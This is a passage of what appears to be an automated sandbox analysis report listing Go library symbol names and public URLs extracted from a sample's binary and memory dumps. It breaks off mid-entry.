"golang.org/x/crypto/cryptobyte.(*string).readbytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).skip" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint8" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).add" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint16" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint32" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addbytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint16lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint24lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).callcontinuation" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).callcontinuation.func1" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addlengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).flushchild" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readlengthprefixed" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.*internal/abi.type,go.shape.interface" Pattern match: "eq.net/netip.parseaddrerror" Pattern match: "eq.net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.node[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.entry[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.indirect[net/netip.addrdetail" Pattern match: "hash.net/netip.addrdetail" Pattern match: "eq.net/netip.prefix" Pattern match: "eq.sync/atomic.pointer[unique.entry[go.shape.struct" Pattern match: "golang.org/x/net/dns/dnsmessage.(*nestederror).error" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).start" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).header" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).resourceheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).checkadvance" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).count" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).question" Pattern match: "golang.org/x/net/dns/dnsmessage.unpacktype" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackclass" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipquestion" Pattern match: "golang.org/x/net/dns/dnsmessage.skipname" Pattern match: "golang.org/x/net/dns/dnsmessage.skiptype" Pattern match: "golang.org/x/net/dns/dnsmessage.skipuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.skipclass" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).cnameresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).aresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackbytes" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).aaaaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackaaaaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.newbuilder" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).question" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).incrementsectioncount" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).optresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).checkresourcesection" Pattern match: "golang.org/x/net/dns/dnsmessage.(*optresource).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packbytes" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).fixlen" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).finish" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packtype" Pattern match: "golang.org/x/net/dns/dnsmessage.packclass" Pattern match: "golang.org/x/net/dns/dnsmessage.packuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.skipresource" Pattern match: "golang.org/x/net/dns/dnsmessage.skipuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.(*name).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.(*name).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.(*question).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackcnameresource" Pattern match: "golang.org/x/net/dns/dnsmessage.init" Pattern match: "golang.org/x/net/dns/dnsmessage.nestederror" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startquestions" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startcheck" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startadditionals" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).setedns0" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).answerheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipanswer" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipallanswers" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipallauthorities" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipauthority" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).additionalheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipadditional" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).extendedrcode" Pattern match: "golang.org/x/net/dns/dnsmessage.newname" Heuristic match: "net.(*ipv6zonecache).name" Heuristic match: "net.cancelederror.is" Heuristic match: "net.(*timeouterror).is" Heuristic match: "net.(*cancelederror).is" Pattern match: "eq.net/url.error" Pattern match: "eq.net/url.url" Pattern match: "eq.net/url.userinfo" Heuristic match: "encoding/asn1.bitstring.at" Pattern match: "golang.org/x/crypto/chacha20.newunauthenticatedcipher" Pattern match: "golang.org/x/crypto/chacha20.hchacha20" Pattern match: "golang.org/x/crypto/chacha20.quarterround" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystream" Pattern match: "golang.org/x/crypto/internal/alias.inexactoverlap" Pattern match: "golang.org/x/crypto/internal/alias.anyoverlap" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocks" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocksgeneric" Pattern match: "golang.org/x/crypto/chacha20.addxor" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).verify" Pattern match: "golang.org/x/crypto/internal/poly1305.(*macgeneric).write" Pattern match: "golang.org/x/crypto/internal/poly1305.(*macgeneric).sum" Pattern match: "golang.org/x/crypto/internal/poly1305.add128" Pattern match: "golang.org/x/crypto/internal/poly1305.updategeneric" Pattern match: "golang.org/x/crypto/internal/poly1305.mul64" Pattern match: "golang.org/x/crypto/internal/poly1305.shiftrightby2" Pattern match: "golang.org/x/crypto/internal/poly1305.finalize" Pattern match: "golang.org/x/crypto/internal/poly1305.select64" Pattern match: "golang.org/x/crypto/chacha20poly1305.new" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).noncesize" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).overhead" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).seal" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).open" Pattern match: "golang.org/x/crypto/chacha20poly1305.writewithpadding" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).write" Pattern match: "golang.org/x/crypto/chacha20poly1305.writeuint64" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).sealgeneric" Pattern match: "golang.org/x/crypto/chacha20poly1305.sliceforappend" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).setcounter" Pattern match: "golang.org/x/crypto/internal/poly1305.new" Pattern match: "golang.org/x/crypto/internal/poly1305.initialize" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).sum" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).opengeneric" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint16" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint8" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint16lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint8lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).bytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addvalue" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint8lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).copybytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint32" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint24lengthprefixed" Pattern match: "eq.sync/atomic.pointer[string" Pattern match: "eq.net/http/httptrace.gotconninfo" Pattern match: "golang.org/x/text/unicode/bidi.lookuprune" Pattern match: "golang.org/x/text/unicode/bidi.lookup" Pattern match: "golang.org/x/text/unicode/bidi.(*biditrie).lookupvalue" Pattern match: "golang.org/x/text/unicode/bidi.lookupstring" Pattern match: "golang.org/x/text/secure/bidirule.directionstring" Pattern match: "golang.org/x/text/unicode/bidi.properties.class" Pattern match: "golang.org/x/text/secure/bidirule.validstring" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).isfinal" Pattern match: "golang.org/x/text/secure/bidirule.init.0" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).advancestring" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).isrtl" Pattern match: "golang.org/x/text/unicode/norm.init" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).doflush" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).reset" Pattern match: "golang.org/x/text/unicode/norm.appendflush" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertflush" Pattern match: "golang.org/x/text/unicode/norm.properties.hasdecomposition" Pattern match: "golang.org/x/text/unicode/norm.properties.decomposition" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertunsafe" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertdecomposed" Pattern match: "golang.org/x/text/unicode/norm.(*input).setbytes" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertordered" Pattern match: "golang.org/x/text/unicode/norm.properties.boundarybefore" Pattern match: "golang.org/x/text/unicode/norm.properties.combinesbackward" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertsingle" Pattern match: "golang.org/x/text/unicode/norm.(*input).copyslice" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).appendrune" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).assignrune" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).runeat" Pattern match: "golang.org/x/text/unicode/norm.decomposehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).decomposehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).combinehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).compose" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).bytesat" Pattern match: "golang.org/x/text/unicode/norm.isjamovt" Pattern match: "golang.org/x/text/unicode/norm.combine" Pattern match: "golang.org/x/text/unicode/norm.buildrecompmap" Pattern match: "golang.org/x/text/unicode/norm.lookupinfonfc" Pattern match: "golang.org/x/text/unicode/norm.lookupinfonfkc" Pattern match: "golang.org/x/text/unicode/norm.compinfo" Pattern match: "golang.org/x/text/unicode/norm.(*input).charinfonfc" Pattern match: "golang.org/x/text/unicode/norm.(*input).charinfonfkc" Pattern match: "golang.org/x/text/unicode/norm.(*input).hangul" Pattern match: "golang.org/x/text/unicode/norm.ishangul" Pattern match: "golang.org/x/text/unicode/norm.ishangulstring" Pattern match: "golang.org/x/text/unicode/norm.nexthangul" Pattern match: "golang.org/x/text/unicode/norm.(*iter).setdone" Pattern match: "golang.org/x/text/unicode/norm.(*streamsafe).next" Pattern match: "golang.org/x/text/unicode/norm.properties.nleadingnonstarters" Pattern match: "golang.org/x/text/unicode/norm.properties.ntrailingnonstarters" Pattern match: "golang.org/x/text/unicode/norm.nextdone" Pattern match: "golang.org/x/text/unicode/norm.nextmulti" Pattern match: "golang.org/x/text/unicode/norm.nextmultinorm" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).flushcopy" Pattern match: "golang.org/x/text/unicode/norm.nextdecomposed" Pattern match: "golang.org/x/text/unicode/norm.properties.multisegment" Pattern match: "golang.org/x/text/unicode/norm.(*input)._byte" Pattern match: "golang.org/x/text/unicode/norm.(*iter).returnslice" Pattern match: "golang.org/x/text/unicode/norm.donormdecomposed" Pattern match: "golang.org/x/text/unicode/norm.nextcgjdecompose" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertcgj" Pattern match: "golang.org/x/text/unicode/norm.(*streamsafe).first" Pattern match: "golang.org/x/text/unicode/norm.nextcomposed" Pattern match: "golang.org/x/text/unicode/norm.properties.isyesc" Pattern match: "golang.org/x/text/unicode/norm.donormcomposed" Pattern match: "golang.org/x/text/unicode/norm.nextcgjcompose" Pattern match: "golang.org/x/text/unicode/norm.form.bytes" Pattern match: "golang.org/x/text/unicode/norm.form.string" Pattern match: "golang.org/x/text/unicode/norm.form.isnormalstring" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).setflusher" Pattern match: "golang.org/x/text/unicode/norm.form.isnormalstring.func1" Pattern match: "golang.org/x/text/unicode/norm.appendquick" Pattern match: "golang.org/x/text/unicode/norm.(*input).appendslice" Pattern match: "golang.org/x/text/unicode/norm.doappendinner" Pattern match: "golang.org/x/text/unicode/norm.(*forminfo).quickspan" Pattern match: "golang.org/x/text/unicode/norm.(*input).skipascii" Pattern match: "golang.org/x/text/unicode/norm.properties.isyesd" Pattern match: "golang.org/x/text/unicode/norm.decomposesegment" Pattern match: "golang.org/x/text/unicode/norm.properties.boundaryafter" Pattern match: "golang.org/x/text/unicode/norm.properties.isinert" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookup" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookupstring" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookupvalue" Pattern match: "golang.org/x/text/unicode/norm.(*nfkctrie).lookup" Pattern match: "golang.org/x/text/unicode/norm.(*nfkctrie).lookupstring" Pattern match: "golang.org/x/text/unicode/norm.(*nfkctrie).lookupvalue" Pattern match: "golang.org/x/text/unicode/norm.(*sparseblocks).lookup" Pattern match: "golang.org/x/net/idna.init" Pattern match: "golang.org/x/net/idna.labelerror.error" Pattern match: "golang.org/x/net/idna.runeerror.error" Pattern match: "golang.org/x/net/idna.(*profile).process" Pattern match: "golang.org/x/net/idna.(*labeliter).done" Pattern match: "golang.org/x/net/idna.(*labeliter).next" Pattern match: "golang.org/x/net/idna.(*labeliter).reset" Pattern match: "golang.org/x/net/idna.(*labeliter).result" Pattern match: "golang.org/x/net/idna.ascii" Pattern match: "golang.org/x/net/idna.info.isbidi" Pattern match: "golang.org/x/net/idna.info.ismapped" Pattern match: "golang.org/x/net/idna.validateandmap" Pattern match: "golang.org/x/net/idna.info.category" Pattern match: "golang.org/x/net/idna.(*profile).simplify" Pattern match: "golang.org/x/text/unicode/norm.form.quickspan" Pattern match: "golang.org/x/text/unicode/norm.inputbytes" Pattern match: "golang.org/x/net/idna.(*labeliter).label" Pattern match: "golang.org/x/net/idna.(*labeliter).set" Pattern match: "golang.org/x/net/idna.validatefrompunycode" Pattern match: "golang.org/x/net/idna.(*profile).validatelabel" Pattern match: "golang.org/x/net/idna.info.ismodifier" Pattern match: "golang.org/x/net/idna.info.jointype" Pattern match: "golang.org/x/net/idna.info.isviramamodifier" Pattern match: "golang.org/x/net/idna.decode" Pattern match: "golang.org/x/net/idna.punyerror" Pattern match: "golang.org/x/net/idna.adapt" Pattern match: "golang.org/x/net/idna.decodedigit" Pattern match: "golang.org/x/net/idna.madd" Pattern match: "golang.org/x/net/idna.encode" Pattern match: "golang.org/x/net/idna.encodedigit" Pattern match: "golang.org/x/net/idna.(*idnatrie).lookupstring" Pattern match: "golang.org/x/net/idna.(*idnatrie).lookupvalue" Pattern match: "golang.org/x/net/idna.(*sparseblocks).lookup" Pattern match: "golang.org/x/net/idna.info.appendmapping" Pattern match: "golang.org/x/net/idna.labelerror" Pattern match: "golang.org/x/net/idna.(*labelerror).error" Pattern match: "golang.org/x/net/idna.(*runeerror).error" Pattern match: "golang.org/x/net/http/httpguts.headervaluecontainstoken" Pattern match: "golang.org/x/net/http/httpguts.trimows" Pattern match: "golang.org/x/net/http/httpguts.tokenequal" Pattern match: "golang.org/x/net/http/httpguts.isows" Pattern match: "golang.org/x/net/http/httpguts.lowerascii" Pattern match: "golang.org/x/net/http/httpguts.punycodehostport" Pattern match: "golang.org/x/net/http/httpguts.isascii" Pattern match: "golang.org/x/net/idna.toascii" Pattern match: "golang.org/x/net/http/httpguts.init" Pattern match: "golang.org/x/net/http2/hpack.init" Pattern match: "golang.org/x/net/http2/hpack.init.func1" Pattern match: "golang.org/x/net/http2/hpack.newencoder" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).init" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).setmaxsize" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).writefield" Pattern match: "golang.org/x/net/http2/hpack.appendtablesize" Pattern match: "golang.org/x/net/http2/hpack.appendvarint" Pattern match: "golang.org/x/net/http2/hpack.appendindexed" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).shouldindex" Pattern match: "golang.org/x/net/http2/hpack.headerfield.size" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).searchtable" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).len" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).setmaxdynamictablesize" Pattern match: "golang.org/x/net/http2/hpack.appendnewname" Pattern match: "golang.org/x/net/http2/hpack.encodetypebyte" Pattern match: "golang.org/x/net/http2/hpack.appendindexedname" Pattern match: "golang.org/x/net/http2/hpack.appendhpackstring" Pattern match: "golang.org/x/net/http2/hpack.huffmanencodelength" Pattern match: "golang.org/x/net/http2/hpack.decodingerror.error" Pattern match: "golang.org/x/net/http2/hpack.invalidindexerror.error" Pattern match: "golang.org/x/net/http2/hpack.headerfield.string" Pattern match: "golang.org/x/net/http2/hpack.newdecoder" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setemitfunc" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).add" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).addentry" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).evict" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).close" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).write" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parseheaderfieldrepr" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsefieldindexed" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).at" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).maxtableindex" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsefieldliteral" Pattern match: "golang.org/x/net/http2/hpack.indextype.indexed" Pattern match: "golang.org/x/net/http2/hpack.indextype.sensitive" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).callemit" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsedynamictablesizeupdate" Pattern match: "golang.org/x/net/http2/hpack.readvarint" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).readstring" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).decodestring" Pattern match: "golang.org/x/net/http2/hpack.huffmandecode" Pattern match: "golang.org/x/net/http2/hpack.getroothuffmannode" Pattern match: "golang.org/x/net/http2/hpack.buildroothuffmannode" Pattern match: "golang.org/x/net/http2/hpack.newinternalnode" Pattern match: "golang.org/x/net/http2/hpack.appendhuffmanstring" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).evictoldest" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).search" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).idtoindex" Pattern match: "golang.org/x/net/http2/hpack.(*decodingerror).error" Pattern match: "golang.org/x/net/http2/hpack.(*headerfield).string" Pattern match: "golang.org/x/net/http2/hpack.(*invalidindexerror).error" Pattern match: "golang.org/x/net/http2/hpack.headerfield" Pattern match: "golang.org/x/net/http2/hpack.pairnamevalue" Pattern match: "golang.org/x/net/http/httpguts.validhostheader" Pattern match: "golang.org/x/net/http/httpguts.validheaderfieldname" Pattern match: "golang.org/x/net/http/httpguts.validheaderfieldvalue" Pattern match: "golang.org/x/net/http/httpguts.isctl" Pattern match: "golang.org/x/net/http/httpguts.islws" Pattern match: "eq.net/http/internal.chunkedreader" Pattern match: "golang.org/x/net/http/httpproxy.init" Pattern match: "golang.org/x/net/http/httpproxy.fromenvironment" Pattern match: "golang.org/x/net/http/httpproxy.getenvany" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyfunc" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyforurl" Pattern match: "golang.org/x/net/http/httpproxy.parseproxy" Pattern match: "golang.org/x/net/http/httpproxy.(*config).useproxy" Pattern match: "golang.org/x/net/http/httpproxy.(*config).init" Pattern match: "golang.org/x/net/http/httpproxy.canonicaladdr" Pattern match: "golang.org/x/net/http/httpproxy.idnaascii" Pattern match: "golang.org/x/net/http/httpproxy.isascii" Pattern match: "golang.org/x/net/idna.(*profile).toascii" Pattern match: "golang.org/x/net/http/httpproxy.allmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.cidrmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.ipmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.domainmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.domainmatch" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyforurl-fm" Pattern match: "golang.org/x/net/http/httpproxy.(*allmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*cidrmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*ipmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*domainmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.config" Heuristic match: "net/http.(*client).do" Pattern match: "golang.org/x/net/http2/hpack.headerfield.ispseudo" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setemitenabled" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setmaxstringlength" Pattern match: "golang.org/x/net/http/httpguts.istokenrune" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).setmaxdynamictablesizelimit" Pattern match: "golang.org/x/net/http/httpguts.headervaluescontainstoken" Heuristic match: "net/http.http2streamerror.as" Heuristic match: "net/http/internal/ascii.is" Heuristic match: "net/http.(*timeouterror).is" Pattern match: "eq.net/http.http2priorityparam" Pattern match: "eq.net/http.http2frameheader" Pattern match: "eq.net/http.http2setting" Pattern match: "eq.net/http.segment" Pattern match: "eq.net/http.http2pingframe" Pattern match: "eq.net/http.http2priorityframe" Pattern match: "eq.net/http.http2rststreamframe" Pattern match: "eq.net/http.http2windowupdateframe" Pattern match: "eq.net/http.http2streamerror" Pattern match: "eq.net/http.readtrackingbody" Pattern match: "eq.net/http.unencryptednetconnintlsconn" Pattern match: "eq.net/http.connectmethodkey" Pattern match: "hash.net/http.connectmethodkey" Pattern match: "eq.net/http.connorerror" Pattern match: "eq.net/http.http2goawayerror" Pattern match: "eq.net/http.http2connerror" Pattern match: "eq.net/http.http2stickyerrwriter" Heuristic match: "net/http.(*http2streamerror).as" Pattern match: "eq.net/http.socksusernamepassword" Pattern match: "eq.os/exec.error" Pattern match: "eq.os/exec.wrappederror" Pattern match: "eq.os/exec.ctxresult" Pattern match: "golang.org/x/crypto/cryptobyte/asn1.go" Pattern match: "golang.org/x/crypto/cryptobyte/string.go" Pattern match: "golang.org/x/crypto/cryptobyte/builder.go" Pattern match: "golang.org/x/net/dns/dnsmessage/message.go" Pattern match: "golang.org/x/crypto/chacha20/chacha_generic.go" Pattern match: "golang.org/x/crypto/chacha20/chacha_noasm.go" Pattern match: "golang.org/x/crypto/internal/alias/alias.go" Pattern match: "golang.org/x/crypto/chacha20/xor.go" Pattern match: "golang.org/x/crypto/internal/poly1305/poly1305.go" Pattern match: "golang.org/x/crypto/internal/poly1305/sum_generic.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305_noasm.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305_generic.go" Pattern match: "golang.org/x/text/unicode/bidi/prop.go" Pattern match: "golang.org/x/text/unicode/bidi/tables15.0.0.go" Pattern match: "golang.org/x/text/secure/bidirule/bidirule.go" Pattern match: "golang.org/x/text/secure/bidirule/bidirule10.0.0.go" Pattern match: "golang.org/x/text/unicode/norm/trie.go" Pattern match: "golang.org/x/text/unicode/norm/transform.go" Pattern match: "golang.org/x/text/unicode/norm/composition.go" Pattern match: "golang.org/x/text/unicode/norm/forminfo.go" Pattern match: "golang.org/x/text/unicode/norm/input.go" Pattern match: "golang.org/x/text/unicode/norm/iter.go" Pattern match: "golang.org/x/text/unicode/norm/normalize.go" Pattern match: "golang.org/x/text/unicode/norm/tables15.0.0.go" Pattern match: "golang.org/x/net/idna/trie.go" Pattern match: "golang.org/x/net/idna/idna10.0.0.go" Pattern match: "golang.org/x/net/idna/trieval.go" Pattern match: "golang.org/x/net/idna/punycode.go" Pattern match: "golang.org/x/net/idna/tables15.0.0.go" Pattern match: "golang.org/x/net/idna/trie13.0.0.go" Pattern match: "golang.org/x/net/http/httpguts/httplex.go" Pattern match: "golang.org/x/net/http/httpguts/guts.go" Pattern match: "golang.org/x/net/http2/hpack/static_table.go" Pattern match: "golang.org/x/net/http2/hpack/huffman.go" Pattern match: "golang.org/x/net/http2/hpack/hpack.go" Pattern match: "golang.org/x/net/http2/hpack/tables.go" Pattern match: "golang.org/x/net/http2/hpack/encode.go" Pattern match: "golang.org/x/net/http/httpproxy/proxy.go" Heuristic match: "c:/program files/go/src/runtime/runtime-gdb.py" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "|<.af" Heuristic match: "p.as" Heuristic match: "u6.tm" Pattern match: "outube.com/watch?v=9bzkp7q19f0" Pattern match: "ww.youtube.com/watch?v=9bzkp7q19f0" Pattern match: "www.youtube.com/watch?v=9bzkp7q19f0" Pattern match: "common.view.uwp/resources/externalappname"61:T2d45,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000356.00000001.173998.03400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001984.00000000.170799.01240000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001984.00000001.171458.01240000.00000004.mdmp") Found URL "https://peps.python.org/pep-0263/" - Source: "00000000-00003940.00000000.172315.7B41F000.00000002.mdmp") Found URL "https://www.python.org/psf/license/_path_isfile" - Source: "00000000-00003940.00000000.172315.7B5E0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://github.com/python/cpython/issues/86361." - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00003940.00000000.172315.9C640000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000000.172315.9E5B0000.00000004.mdmp") Found URL "https://www.python.org/download/releases/2.3/mro/." - Source: "00000000-00003940.00000000.172315.9E5B0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00003940.00000000.172315.9E5B0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000000.172315.9EA90000.00000004.mdmp") Found URL "http://www.phys.uu.nl/" - Source: 